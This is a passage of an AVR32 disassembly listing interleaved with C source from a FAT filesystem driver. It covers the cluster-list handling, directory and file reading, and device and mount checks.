= fat_checkcluster(); +80004d04: f0 1f 00 52 mcall 80004e4c +80004d08: 18 94 mov r4,r12 + if (FS_CLUS_BAD == u8_cluster_status) +80004d0a: e4 0c 18 00 cp.b r12,r2 +80004d0e: e0 80 00 83 breq 80004e14 + return false; // error, end of cluster list + + if (0xFF == MSB0(fs_g_seg.u32_addr)) +80004d12: 01 89 ld.ub r9,r0[0x0] +80004d14: 3f f8 mov r8,-1 +80004d16: f0 09 18 00 cp.b r9,r8 +80004d1a: c4 61 brne 80004da6 + { + // The beginning of the segment isn't found + if (FS_CLUS_END == u8_cluster_status) +80004d1c: e2 0c 18 00 cp.b r12,r1 +80004d20: c2 b1 brne 80004d76 + { + u32_tmp = fs_g_seg.u32_size_or_pos; // Save number of sector remaining +80004d22: 4c 28 lddpc r8,80004e28 +80004d24: 70 17 ld.w r7,r8[0x4] + + // Compute the sector address of this last cluster to take time during a futur request with the same cluster list + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start -= fs_g_seg.u32_size_or_pos; +80004d26: 4c b9 lddpc r9,80004e50 +80004d28: 13 89 ld.ub r9,r9[0x0] +80004d2a: f2 09 00 29 add r9,r9,r9<<0x2 +80004d2e: 4c aa lddpc r10,80004e54 +80004d30: f4 09 00 29 add r9,r10,r9<<0x2 +80004d34: 72 2a ld.w r10,r9[0x8] +80004d36: 0e 1a sub r10,r7 +80004d38: 93 2a st.w r9[0x8],r10 + fs_g_seg.u32_addr = ((fs_g_cluster.u32_pos - 2) * fs_g_nav.u8_BPB_SecPerClus) +80004d3a: 4b d9 lddpc r9,80004e2c +80004d3c: 72 5b ld.w r11,r9[0x14] +80004d3e: 72 4a ld.w r10,r9[0x10] +80004d40: 14 0b add r11,r10 +80004d42: 13 99 ld.ub r9,r9[0x1] +80004d44: 4b ba lddpc r10,80004e30 +80004d46: 74 0a ld.w r10,r10[0x0] +80004d48: 20 2a sub r10,2 +80004d4a: f2 0a 02 4a mul r10,r9,r10 +80004d4e: f6 0a 00 0a add r10,r11,r10 +80004d52: 91 0a st.w r8[0x0],r10 + + fs_g_nav.u32_ptr_fat + fs_g_nav.u32_offset_data; + fs_g_seg.u32_size_or_pos = fs_g_nav.u8_BPB_SecPerClus; +80004d54: 91 19 st.w r8[0x4],r9 + if (FS_CLUST_ACT_CLR != opt_action) +80004d56: 30 38 mov r8,3 +80004d58: f0 03 18 00 cp.b r3,r8 +80004d5c: c0 30 breq 80004d62 + fat_cache_clusterlist_update_finish(); +80004d5e: f0 1f 00 39 mcall 80004e40 + + // The position is outside the cluster list + fs_g_seg.u32_addr = fs_g_cluster.u32_pos; // Send the last cluster value +80004d62: 4b 28 lddpc r8,80004e28 +80004d64: 4b 39 lddpc r9,80004e30 +80004d66: 72 09 ld.w r9,r9[0x0] +80004d68: 91 09 st.w r8[0x0],r9 + fs_g_seg.u32_size_or_pos = u32_tmp; // Restore number of sector remaining +80004d6a: 91 17 st.w r8[0x4],r7 + fs_g_status = FS_ERR_OUT_LIST; +80004d6c: 31 a9 mov r9,26 +80004d6e: 4a c8 lddpc r8,80004e1c +80004d70: b0 89 st.b r8[0x0],r9 +80004d72: 30 0c mov r12,0 + return false; +80004d74: c5 18 rjmp 80004e16 + } + // Good cluster then continue + fs_g_seg.u32_size_or_pos -= fs_g_nav.u8_BPB_SecPerClus; +80004d76: 0b 98 ld.ub r8,r5[0x1] +80004d78: 6c 19 ld.w r9,r6[0x4] +80004d7a: f2 08 01 08 sub r8,r9,r8 +80004d7e: 8d 18 st.w r6[0x4],r8 +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (FS_CLUST_ACT_CLR == opt_action) +80004d80: 40 0a lddsp r10,sp[0x0] +80004d82: 58 0a cp.w r10,0 +80004d84: c4 50 breq 80004e0e + { + if( fs_g_seg.u32_size_or_pos == 0) +80004d86: 58 08 cp.w r8,0 +80004d88: c4 31 brne 80004e0e + { + // At cluster position, set the flag end of cluster list + fs_g_seg.u32_addr = fs_g_cluster.u32_val; // Save the next cluster +80004d8a: 6e 18 ld.w r8,r7[0x4] +80004d8c: 8d 08 st.w r6[0x0],r8 + fs_g_cluster.u32_val = FS_CLUST_VAL_EOL; +80004d8e: e0 68 ff ff mov r8,65535 +80004d92: ea 18 0f ff orh r8,0xfff +80004d96: 8f 18 st.w r7[0x4],r8 + if( !fat_cluster_val( FS_CLUST_VAL_WRITE )) +80004d98: 30 1c mov r12,1 +80004d9a: f0 1f 00 2b mcall 80004e44 +80004d9e: c3 b0 breq 80004e14 + return false; + fs_g_cluster.u32_val = fs_g_seg.u32_addr; // Resotre the next cluster +80004da0: 6c 08 ld.w r8,r6[0x0] +80004da2: 8f 18 st.w r7[0x4],r8 +80004da4: c3 58 rjmp 80004e0e +#endif // FS_LEVEL_FEATURES + } + else + { + // The beginning of segment is found + if (FS_CLUST_ACT_SEG == opt_action) +80004da6: e4 03 18 00 cp.b r3,r2 +80004daa: c0 a1 brne 80004dbe + { + if ( (fs_g_cluster.u32_pos+1) != fs_g_cluster.u32_val ) +80004dac: 6e 09 ld.w r9,r7[0x0] +80004dae: 2f f9 sub r9,-1 +80004db0: 6e 18 ld.w r8,r7[0x4] +80004db2: 10 39 cp.w r9,r8 +80004db4: c1 b0 breq 80004dea + { + // The cluster is not a continue cluster or a invalid cluster + fat_cache_clusterlist_update_finish(); +80004db6: f0 1f 00 23 mcall 80004e40 +80004dba: 30 1c mov r12,1 + return true; // End of segment +80004dbc: c2 d8 rjmp 80004e16 + } + } +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (FS_CLUST_ACT_CLR == opt_action) +80004dbe: 40 09 lddsp r9,sp[0x0] +80004dc0: 58 09 cp.w r9,0 +80004dc2: c1 40 breq 80004dea + { + //** Clear cluster position + fs_g_seg.u32_addr = fs_g_cluster.u32_val; // Save the next cluster +80004dc4: 6e 18 ld.w r8,r7[0x4] +80004dc6: 8d 08 st.w r6[0x0],r8 + fs_g_cluster.u32_val = 0; // by default free cluster +80004dc8: 30 08 mov r8,0 +80004dca: 8f 18 st.w r7[0x4],r8 + // If it is the first cluster (fs_g_seg.u32_size_or_pos <= fs_g_nav.u8_BPB_SecPerClus) + // and doesn't start at the beginning of cluster (fs_g_seg.u32_size_or_pos != fs_g_nav.u8_BPB_SecPerClus) + if (fs_g_seg.u32_size_or_pos < fs_g_nav.u8_BPB_SecPerClus) +80004dcc: 0b 98 ld.ub r8,r5[0x1] +80004dce: 6c 19 ld.w r9,r6[0x4] +80004dd0: 10 39 cp.w r9,r8 +80004dd2: c0 62 brcc 80004dde + { + fs_g_cluster.u32_val = FS_CLUST_VAL_EOL; // End of cluster list allocated +80004dd4: e0 68 ff ff mov r8,65535 +80004dd8: ea 18 0f ff orh r8,0xfff +80004ddc: 8f 18 st.w r7[0x4],r8 + } + if( !fat_cluster_val( FS_CLUST_VAL_WRITE )) +80004dde: 30 1c mov r12,1 +80004de0: f0 1f 00 19 mcall 80004e44 +80004de4: c1 80 breq 80004e14 + return false; + fs_g_cluster.u32_val = fs_g_seg.u32_addr; // Resotre the next cluster +80004de6: 6c 08 ld.w r8,r6[0x0] +80004de8: 8f 18 st.w r7[0x4],r8 + // !!!! because it isn't possible that MSB0( fs_g_cluster.val ) = 0xFF. + } +#endif // FS_LEVEL_FEATURES + + // Check the end of cluster list + if (FS_CLUS_END == u8_cluster_status) +80004dea: e2 04 18 00 cp.b r4,r1 +80004dee: c0 b1 brne 80004e04 + { +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (FS_CLUST_ACT_CLR == opt_action) +80004df0: 40 0a lddsp r10,sp[0x0] +80004df2: 58 0a cp.w r10,0 +80004df4: c0 40 breq 80004dfc + { + return fat_update_fat2(); +80004df6: f0 1f 00 19 mcall 80004e58 +80004dfa: c0 e8 rjmp 80004e16 + } +#endif // FS_LEVEL_FEATURES + fat_cache_clusterlist_update_finish(); +80004dfc: f0 1f 00 11 mcall 80004e40 +80004e00: 30 1c mov r12,1 + return true; // End of segment +80004e02: c0 a8 rjmp 80004e16 + } + + // Update the segment size + fs_g_seg.u32_size_or_pos += fs_g_nav.u8_BPB_SecPerClus; +80004e04: 0b 99 ld.ub r9,r5[0x1] +80004e06: 6c 18 ld.w r8,r6[0x4] +80004e08: f2 08 00 08 add r8,r9,r8 +80004e0c: 8d 18 st.w r6[0x4],r8 + } + // HERE, Continue to read the cluster list + // The next cluster is the value of previous cluster + fs_g_cluster.u32_pos = fs_g_cluster.u32_val; +80004e0e: 6e 18 ld.w r8,r7[0x4] +80004e10: 8f 08 st.w r7[0x0],r8 + } // End of main loop +80004e12: c2 eb rjmp 80004c6e +80004e14: 30 0c mov r12,0 +} +80004e16: 2f ed sub sp,-8 +80004e18: d8 32 popm r0-r7,pc +80004e1a: 00 00 add r0,r0 +80004e1c: 00 00 add r0,r0 +80004e1e: 06 d4 st.w --r3,r4 +80004e20: 00 00 add r0,r0 +80004e22: 06 d0 st.w --r3,r0 +80004e24: 80 00 ld.sh r0,r0[0x0] +80004e26: 55 68 stdsp sp[0x158],r8 +80004e28: 00 00 add r0,r0 +80004e2a: 07 2c ld.uh r12,r3++ +80004e2c: 00 00 add r0,r0 +80004e2e: 06 84 andn r4,r3 +80004e30: 00 00 add r0,r0 +80004e32: 07 24 ld.uh r4,r3++ +80004e34: 80 00 ld.sh r0,r0[0x0] +80004e36: 40 c4 lddsp r4,sp[0x30] +80004e38: 80 00 ld.sh r0,r0[0x0] +80004e3a: 3f 9c mov r12,-7 +80004e3c: 80 00 ld.sh r0,r0[0x0] +80004e3e: 51 ac stdsp sp[0x68],r12 +80004e40: 80 00 ld.sh r0,r0[0x0] +80004e42: 40 6c lddsp r12,sp[0x18] +80004e44: 80 00 ld.sh r0,r0[0x0] +80004e46: 49 40 lddpc r0,80004e94 +80004e48: 80 00 ld.sh r0,r0[0x0] +80004e4a: 48 ac lddpc r12,80004e70 +80004e4c: 80 00 ld.sh r0,r0[0x0] +80004e4e: 3f 3c mov r12,-13 +80004e50: 00 00 add r0,r0 +80004e52: 06 d6 st.w --r3,r6 +80004e54: 00 00 add r0,r0 +80004e56: 04 58 eor r8,r2 +80004e58: 80 00 ld.sh r0,r0[0x0] +80004e5a: 52 38 stdsp sp[0x8c],r8 + +80004e5c : +//! fs_g_nav.u32_cluster_sel_dir First cluster of current directory +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory (unit entry) +//! @endverbatim +//! +Bool fat_read_dir( void ) +{ +80004e5c: eb cd 40 80 pushm r7,lr + uint32_t u32_cluster_pos; + + // Compute the cluster list position corresponding of the current entry + u32_cluster_pos = fs_g_nav_fast.u16_entry_pos_sel_file >> (FS_512B_SHIFT_BIT - FS_SHIFT_B_TO_FILE_ENTRY); +80004e60: 49 98 lddpc r8,80004ec4 +80004e62: 90 97 ld.uh r7,r8[0x2] +80004e64: a5 87 lsr r7,0x4 + + if( (fs_g_sectorcache.u8_lun == fs_g_nav.u8_lun ) +80004e66: 49 98 lddpc r8,80004ec8 +80004e68: 11 89 ld.ub r9,r8[0x0] +80004e6a: 49 98 lddpc r8,80004ecc +80004e6c: 11 88 ld.ub r8,r8[0x0] +80004e6e: f0 09 18 00 cp.b r9,r8 +80004e72: c0 d1 brne 80004e8c +80004e74: 49 58 lddpc r8,80004ec8 +80004e76: 70 39 ld.w r9,r8[0xc] +80004e78: 49 58 lddpc r8,80004ecc +80004e7a: 70 88 ld.w r8,r8[0x20] +80004e7c: 10 39 cp.w r9,r8 +80004e7e: c0 71 brne 80004e8c +80004e80: 49 28 lddpc r8,80004ec8 +80004e82: 70 48 ld.w r8,r8[0x10] +80004e84: 0e 38 cp.w r8,r7 +80004e86: c0 31 brne 80004e8c +80004e88: e3 cf 90 80 ldm sp++,r7,pc,r12=1 + { + return true; // The internal cache contains the sector ascked + } + + // Get sector address corresponding at cluster list position + fs_g_seg.u32_addr = fs_g_nav.u32_cluster_sel_dir; +80004e8c: 49 18 lddpc r8,80004ed0 +80004e8e: 49 09 lddpc r9,80004ecc +80004e90: 72 89 ld.w r9,r9[0x20] +80004e92: 91 09 st.w r8[0x0],r9 + fs_g_seg.u32_size_or_pos = u32_cluster_pos; +80004e94: 91 17 st.w r8[0x4],r7 + if( fat_cluster_list( FS_CLUST_ACT_ONE, false ) ) +80004e96: 30 0b mov r11,0 +80004e98: 30 2c mov r12,2 +80004e9a: f0 1f 00 0f mcall 80004ed4 +80004e9e: c1 00 breq 80004ebe + { + // Read the sector + fs_gu32_addrsector = fs_g_seg.u32_addr; +80004ea0: 48 c8 lddpc r8,80004ed0 +80004ea2: 70 09 ld.w r9,r8[0x0] +80004ea4: 48 d8 lddpc r8,80004ed8 +80004ea6: 91 09 st.w r8[0x0],r9 + if( fat_cache_read_sector( true ) ) +80004ea8: 30 1c mov r12,1 +80004eaa: f0 1f 00 0d mcall 80004edc +80004eae: c0 80 breq 80004ebe + { + // Update information about internal sector cache + fs_g_sectorcache.u32_clusterlist_start = fs_g_nav.u32_cluster_sel_dir; +80004eb0: 48 68 lddpc r8,80004ec8 +80004eb2: 48 79 lddpc r9,80004ecc +80004eb4: 72 89 ld.w r9,r9[0x20] +80004eb6: 91 39 st.w r8[0xc],r9 + fs_g_sectorcache.u32_clusterlist_pos = u32_cluster_pos; +80004eb8: 91 47 st.w r8[0x10],r7 +80004eba: e3 cf 90 80 ldm sp++,r7,pc,r12=1 + return true; +80004ebe: e3 cf 80 80 ldm sp++,r7,pc,r12=0 +80004ec2: 00 00 add r0,r0 +80004ec4: 00 00 add r0,r0 +80004ec6: 06 d0 st.w --r3,r0 +80004ec8: 00 00 add r0,r0 +80004eca: 07 0c ld.w r12,r3++ +80004ecc: 00 00 add r0,r0 +80004ece: 06 84 andn r4,r3 +80004ed0: 00 00 add r0,r0 +80004ed2: 07 2c ld.uh r12,r3++ +80004ed4: 80 00 ld.sh r0,r0[0x0] +80004ed6: 4b 84 lddpc r4,80004fb4 +80004ed8: 00 00 add r0,r0 +80004eda: 04 40 or r0,r2 +80004edc: 80 00 ld.sh r0,r0[0x0] +80004ede: 48 2c lddpc r12,80004ee4 + +80004ee0 : +//! fs_g_nav_entry.u32_cluster First cluster of selected file +//! fs_g_nav_entry.u32_pos_in_file Position in file (unit byte) +//! @endverbatim +//! +Bool fat_read_file( uint8_t mode ) +{ +80004ee0: eb cd 40 c0 pushm r6-r7,lr +80004ee4: 18 97 mov r7,r12 + uint32_t u32_sector_pos; + + // Compute sector position + u32_sector_pos = fs_g_nav_entry.u32_pos_in_file >> FS_512B_SHIFT_BIT; +80004ee6: 4a e8 lddpc r8,80004f9c +80004ee8: 70 38 ld.w r8,r8[0xc] +80004eea: f0 06 16 09 lsr r6,r8,0x9 + + if(FS_CLUST_ACT_ONE == mode) +80004eee: 30 29 mov r9,2 +80004ef0: f2 0c 18 00 cp.b r12,r9 +80004ef4: c1 31 brne 80004f1a + { + if( (fs_g_sectorcache.u8_lun == fs_g_nav.u8_lun ) +80004ef6: 4a b8 lddpc r8,80004fa0 +80004ef8: 11 89 ld.ub r9,r8[0x0] +80004efa: 4a b8 lddpc r8,80004fa4 +80004efc: 11 88 ld.ub r8,r8[0x0] +80004efe: f0 09 18 00 cp.b r9,r8 +80004f02: c1 91 brne 80004f34 +80004f04: 4a 78 lddpc r8,80004fa0 +80004f06: 70 39 ld.w r9,r8[0xc] +80004f08: 4a 58 lddpc r8,80004f9c +80004f0a: 70 18 ld.w r8,r8[0x4] +80004f0c: 10 39 cp.w r9,r8 +80004f0e: c1 31 brne 80004f34 +80004f10: 4a 48 lddpc r8,80004fa0 +80004f12: 70 48 ld.w r8,r8[0x10] +80004f14: 0c 38 cp.w r8,r6 +80004f16: c0 f1 brne 80004f34 +80004f18: c3 38 rjmp 80004f7e + return true; // The internal cache contains the sector ascked + } + } + else + { + if( FS_CLUST_ACT_CLR == mode ) +80004f1a: 30 39 mov r9,3 +80004f1c: f2 0c 18 00 cp.b r12,r9 +80004f20: c3 31 brne 80004f86 + { + // Clear cluster list + if( 0 == fs_g_nav_entry.u32_cluster ) +80004f22: 49 f9 lddpc r9,80004f9c +80004f24: 72 19 ld.w r9,r9[0x4] +80004f26: 58 09 cp.w r9,0 +80004f28: c2 b0 breq 80004f7e + return true; // No cluster list is linked with the file, then no clear is necessary + + if(0 != (fs_g_nav_entry.u32_pos_in_file & FS_512B_MASK) ) +80004f2a: f1 d8 c0 09 bfextu r8,r8,0x0,0x9 +80004f2e: c2 c0 breq 80004f86 + { + // The actual sector is used, then start clear on the next sector + u32_sector_pos++; +80004f30: 2f f6 sub r6,-1 +80004f32: c2 a8 rjmp 80004f86 + } + } + } + + // Get the segment which start at the current position + fs_g_seg.u32_addr = fs_g_nav_entry.u32_cluster; +80004f34: 49 d8 lddpc r8,80004fa8 +80004f36: 49 a9 lddpc r9,80004f9c +80004f38: 72 19 ld.w r9,r9[0x4] +80004f3a: 91 09 st.w r8[0x0],r9 + fs_g_seg.u32_size_or_pos = u32_sector_pos; +80004f3c: 91 16 st.w r8[0x4],r6 + if( fat_cluster_list( mode, true ) ) + return true; // Get or clear segment OK + } + else + { + if( fat_cluster_list( FS_CLUST_ACT_SEG, true ) ) // Read all segment +80004f3e: 30 1b mov r11,1 +80004f40: 16 9c mov r12,r11 +80004f42: f0 1f 00 1b mcall 80004fac +80004f46: c1 e0 breq 80004f82 + { + // Read the sector corresponding at the position file (= first sector of segment) + fs_gu32_addrsector = fs_g_seg.u32_addr ; +80004f48: 49 88 lddpc r8,80004fa8 +80004f4a: 70 09 ld.w r9,r8[0x0] +80004f4c: 49 98 lddpc r8,80004fb0 +80004f4e: 91 09 st.w r8[0x0],r9 + if( fat_cache_read_sector( true ) ) +80004f50: 30 1c mov r12,1 +80004f52: f0 1f 00 19 mcall 80004fb4 +80004f56: c1 60 breq 80004f82 + { + fs_g_sectorcache.u32_clusterlist_start = fs_g_nav_entry.u32_cluster; +80004f58: 49 28 lddpc r8,80004fa0 +80004f5a: 49 19 lddpc r9,80004f9c +80004f5c: 72 19 ld.w r9,r9[0x4] +80004f5e: 91 39 st.w r8[0xc],r9 + fs_g_sectorcache.u32_clusterlist_pos = u32_sector_pos; +80004f60: 91 46 st.w r8[0x10],r6 +80004f62: e3 cf 90 c0 ldm sp++,r6-r7,pc,r12=1 + return true; + } + } + } + if( (FS_CLUST_ACT_CLR == mode ) +80004f66: 30 38 mov r8,3 +80004f68: f0 07 18 00 cp.b r7,r8 +80004f6c: c0 b1 brne 80004f82 +80004f6e: 49 38 lddpc r8,80004fb8 +80004f70: 11 89 ld.ub r9,r8[0x0] +80004f72: 31 a8 mov r8,26 +80004f74: f0 09 18 00 cp.b r9,r8 +80004f78: 5f 0c sreq r12 +80004f7a: e3 cd 80 c0 ldm sp++,r6-r7,pc +80004f7e: e3 cf 90 c0 ldm sp++,r6-r7,pc,r12=1 +80004f82: e3 cf 80 c0 ldm sp++,r6-r7,pc,r12=0 + } + } + } + + // Get the segment which start at the current position + fs_g_seg.u32_addr = fs_g_nav_entry.u32_cluster; +80004f86: 48 98 lddpc r8,80004fa8 +80004f88: 48 59 lddpc r9,80004f9c +80004f8a: 72 19 ld.w r9,r9[0x4] +80004f8c: 91 09 st.w r8[0x0],r9 + fs_g_seg.u32_size_or_pos = u32_sector_pos; +80004f8e: 91 16 st.w r8[0x4],r6 + if( FS_CLUST_ACT_ONE != mode ) + { + if( fat_cluster_list( mode, true ) ) +80004f90: 30 1b mov r11,1 +80004f92: 0e 9c mov r12,r7 +80004f94: f0 1f 00 06 mcall 80004fac +80004f98: ce 70 breq 80004f66 +80004f9a: cf 2b rjmp 80004f7e +80004f9c: 00 00 add r0,r0 +80004f9e: 04 44 or r4,r2 +80004fa0: 00 00 add r0,r0 +80004fa2: 07 0c ld.w r12,r3++ +80004fa4: 00 00 add r0,r0 +80004fa6: 06 84 andn r4,r3 +80004fa8: 00 00 add r0,r0 +80004faa: 07 2c ld.uh r12,r3++ +80004fac: 80 00 ld.sh r0,r0[0x0] +80004fae: 4b 84 lddpc r4,8000508c +80004fb0: 00 00 add r0,r0 +80004fb2: 04 40 or r0,r2 +80004fb4: 80 00 ld.sh r0,r0[0x0] +80004fb6: 48 2c lddpc r12,80004fbc +80004fb8: 00 00 add r0,r0 +80004fba: 06 d4 st.w --r3,r4 + +80004fbc : +//! @verbatim +//! This function updates all navigator datas when the device state change. +//! @endverbatim +//! +Bool fat_check_device( void ) +{ +80004fbc: d4 31 pushm r0-r7,lr + uint8_t i; +#endif + Ctrl_status status; + + // Possibility to ignore the disk check. Used to take time during multi read/write access + if( g_b_no_check_disk ) +80004fbe: 4a 28 lddpc r8,80005044 +80004fc0: 11 89 ld.ub r9,r8[0x0] +80004fc2: 30 08 mov r8,0 +80004fc4: f0 09 18 00 cp.b r9,r8 +80004fc8: c3 c1 brne 80005040 + return true; + + if( 0xFF == fs_g_nav.u8_lun ) +80004fca: 4a 08 lddpc r8,80005048 +80004fcc: 11 89 ld.ub r9,r8[0x0] +80004fce: 3f f8 mov r8,-1 +80004fd0: f0 09 18 00 cp.b r9,r8 +80004fd4: c0 51 brne 80004fde + { + fs_g_status = FS_ERR_HW; +80004fd6: 30 19 mov r9,1 +80004fd8: 49 d8 lddpc r8,8000504c +80004fda: b0 89 st.b r8[0x0],r9 +80004fdc: d8 3a popm r0-r7,pc,r12=0 + return false; // No device selected +80004fde: 30 02 mov r2,0 + } + + for( retry=0 ; retry<100 ; retry++ ) + { + // Check device + status = mem_test_unit_ready( fs_g_nav.u8_lun ); +80004fe0: 49 a5 lddpc r5,80005048 + if( CTRL_GOOD == status ) + return true; // drive ready + + //* HERE error or state change + // Clean all navigator datas which use this device + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted +80004fe2: 49 c1 lddpc r1,80005050 +80004fe4: 30 06 mov r6,0 + Fat_file_close(); // By default the file is not open +80004fe6: 49 c0 lddpc r0,80005054 +#if (FS_NB_NAVIGATOR > 1) + for( i=0 ; i!=(FS_NB_NAVIGATOR-1) ; i++ ) + { + if( fs_g_nav.u8_lun == fs_g_navext[i].u8_lun ) +80004fe8: 49 c4 lddpc r4,80005058 + fs_g_navext_entry[i].u8_open_mode = 0; // By default the file is not open + } + } +#endif + // If the internal cache corresponding at device then clean it + if( fs_g_nav.u8_lun == fs_g_sectorcache.u8_lun ) +80004fea: 49 d3 lddpc r3,8000505c + } + + for( retry=0 ; retry<100 ; retry++ ) + { + // Check device + status = mem_test_unit_ready( fs_g_nav.u8_lun ); +80004fec: 0b 8c ld.ub r12,r5[0x0] +80004fee: f0 1f 00 1d mcall 80005060 +80004ff2: 18 97 mov r7,r12 + if( CTRL_GOOD == status ) +80004ff4: c2 60 breq 80005040 + return true; // drive ready + + //* HERE error or state change + // Clean all navigator datas which use this device + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted +80004ff6: a2 86 st.b r1[0x0],r6 + Fat_file_close(); // By default the file is not open +80004ff8: a0 86 st.b r0[0x0],r6 +#if (FS_NB_NAVIGATOR > 1) + for( i=0 ; i!=(FS_NB_NAVIGATOR-1) ; i++ ) + { + if( fs_g_nav.u8_lun == fs_g_navext[i].u8_lun ) +80004ffa: 0b 88 ld.ub r8,r5[0x0] +80004ffc: 09 89 ld.ub r9,r4[0x0] +80004ffe: f0 09 18 00 cp.b r9,r8 +80005002: c0 51 brne 8000500c + { + fs_g_navext_fast[i].u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted +80005004: 49 89 lddpc r9,80005064 +80005006: b2 86 st.b r9[0x0],r6 + fs_g_navext_entry[i].u8_open_mode = 0; // By default the file is not open +80005008: 49 89 lddpc r9,80005068 +8000500a: b2 86 st.b r9[0x0],r6 + } + } +#endif + // If the internal cache corresponding at device then clean it + if( fs_g_nav.u8_lun == fs_g_sectorcache.u8_lun ) +8000500c: 07 89 ld.ub r9,r3[0x0] +8000500e: f0 09 18 00 cp.b r9,r8 +80005012: c0 31 brne 80005018 + { + fat_cache_reset(); +80005014: f0 1f 00 16 mcall 8000506c + } + fat_cache_clusterlist_reset(); +80005018: f0 1f 00 16 mcall 80005070 + + fs_g_status = FS_ERR_HW; // By default HW error +8000501c: 30 18 mov r8,1 +8000501e: 48 c9 lddpc r9,8000504c +80005020: b2 88 st.b r9[0x0],r8 + if( CTRL_BUSY == status ) +80005022: 58 37 cp.w r7,3 +80005024: c0 81 brne 80005034 + { + fs_g_status = FS_ERR_HW; + return false; // No device selected + } + + for( retry=0 ; retry<100 ; retry++ ) +80005026: 10 02 add r2,r8 +80005028: 5c 52 castu.b r2 +8000502a: 36 48 mov r8,100 +8000502c: f0 02 18 00 cp.b r2,r8 +80005030: cd e1 brne 80004fec +80005032: c0 88 rjmp 80005042 + + fs_g_status = FS_ERR_HW; // By default HW error + if( CTRL_BUSY == status ) + continue; // If device busy then retry + + if( CTRL_NO_PRESENT == status ) +80005034: 58 27 cp.w r7,2 +80005036: c0 61 brne 80005042 + fs_g_status = FS_ERR_HW_NO_PRESENT; // Update error flag +80005038: 31 89 mov r9,24 +8000503a: 48 58 lddpc r8,8000504c +8000503c: b0 89 st.b r8[0x0],r9 +8000503e: d8 3a popm r0-r7,pc,r12=0 +80005040: da 3a popm r0-r7,pc,r12=1 +80005042: d8 3a popm r0-r7,pc,r12=0 +80005044: 00 00 add r0,r0 +80005046: 04 56 eor r6,r2 +80005048: 00 00 add r0,r0 +8000504a: 06 84 andn r4,r3 +8000504c: 00 00 add r0,r0 +8000504e: 06 d4 st.w --r3,r4 +80005050: 00 00 add r0,r0 +80005052: 06 d0 st.w --r3,r0 +80005054: 00 00 add r0,r0 +80005056: 04 44 or r4,r2 +80005058: 00 00 add r0,r0 +8000505a: 06 d8 st.w --r3,r8 +8000505c: 00 00 add r0,r0 +8000505e: 07 0c ld.w r12,r3++ +80005060: 80 00 ld.sh r0,r0[0x0] +80005062: 6a bc ld.w r12,r5[0x2c] +80005064: 00 00 add r0,r0 +80005066: 06 cc st.b r3++,r12 +80005068: 00 00 add r0,r0 +8000506a: 06 bc st.h r3++,r12 +8000506c: 80 00 ld.sh r0,r0[0x0] +8000506e: 45 f4 lddsp r4,sp[0x17c] +80005070: 80 00 ld.sh r0,r0[0x0] +80005072: 3f 9c mov r12,-7 + +80005074 : +//! +//! @return true no file opened +//! @return false otherwise +//! +Bool fat_check_noopen( void ) +{ +80005074: d4 01 pushm lr + if( !fat_check_device() ) +80005076: f0 1f 00 0b mcall 800050a0 +8000507a: c1 10 breq 8000509c + return true; + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) +8000507c: 48 a8 lddpc r8,800050a4 +8000507e: 11 89 ld.ub r9,r8[0x0] +80005080: 30 08 mov r8,0 +80005082: f0 09 18 00 cp.b r9,r8 +80005086: c0 b0 breq 8000509c + return true; + if( Fat_file_is_open() ) +80005088: 48 88 lddpc r8,800050a8 +8000508a: 11 89 ld.ub r9,r8[0x0] +8000508c: 30 08 mov r8,0 +8000508e: f0 09 18 00 cp.b r9,r8 +80005092: c0 50 breq 8000509c + { + fs_g_status = FS_ERR_TOO_FILE_OPEN; // The navigation have already open a file +80005094: 30 59 mov r9,5 +80005096: 48 68 lddpc r8,800050ac +80005098: b0 89 st.b r8[0x0],r9 +8000509a: d8 0a popm pc,r12=0 + return false; +8000509c: da 0a popm pc,r12=1 +8000509e: 00 00 add r0,r0 +800050a0: 80 00 ld.sh r0,r0[0x0] +800050a2: 4f bc lddpc r12,8000528c +800050a4: 00 00 add r0,r0 +800050a6: 06 d0 st.w --r3,r0 +800050a8: 00 00 add r0,r0 +800050aa: 04 44 or r4,r2 +800050ac: 00 00 add r0,r0 +800050ae: 06 d4 st.w --r3,r4 + +800050b0 : +//! +//! @return true partition mounted +//! @return false otherwise +//! +Bool fat_check_mount( void ) +{ +800050b0: d4 01 pushm lr + if( !fat_check_device() ) +800050b2: f0 1f 00 0a mcall 800050d8 +800050b6: c0 f0 breq 800050d4 + return false; + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) +800050b8: 48 98 lddpc r8,800050dc +800050ba: 11 89 ld.ub r9,r8[0x0] +800050bc: 30 08 mov r8,0 +800050be: f0 09 18 00 cp.b r9,r8 +800050c2: c0 81 brne 800050d2 + { + if( !fat_mount() ) +800050c4: f0 1f 00 07 mcall 800050e0 +800050c8: c0 51 brne 800050d2 + { + fs_g_status = FS_ERR_NO_MOUNT; +800050ca: 30 e9 mov r9,14 +800050cc: 48 68 lddpc r8,800050e4 +800050ce: b0 89 st.b r8[0x0],r9 + return false; +800050d0: d8 02 popm pc +800050d2: 30 1c mov r12,1 + } + } + return true; +} +800050d4: d8 02 popm pc +800050d6: 00 00 add r0,r0 +800050d8: 80 00 ld.sh r0,r0[0x0] +800050da: 4f bc lddpc r12,800052c4 +800050dc: 00 00 add r0,r0 +800050de: 06 d0 st.w --r3,r0 +800050e0: 80 00 ld.sh r0,r0[0x0] +800050e2: 5b b8 cp.w r8,-5 +800050e4: 00 00 add r0,r0 +800050e6: 06 d4 st.w --r3,r4 + +800050e8 : +//! +//! @return true partition mounted and a file is selected +//! @return false otherwise +//! +Bool fat_check_mount_select( void ) +{ +800050e8: d4 01 pushm lr + if( !fat_check_mount() ) +800050ea: f0 1f 00 04 mcall 800050f8 +800050ee: c0 30 breq 800050f4 + return false; + return fat_check_select(); +800050f0: f0 1f 00 03 mcall 800050fc +} +800050f4: d8 02 popm pc +800050f6: 00 00 add r0,r0 +800050f8: 80 00 ld.sh r0,r0[0x0] +800050fa: 50 b0 stdsp sp[0x2c],r0 +800050fc: 80 00 ld.sh r0,r0[0x0] +800050fe: 3f 00 mov r0,-16 + +80005100 : +//! +//! @return true 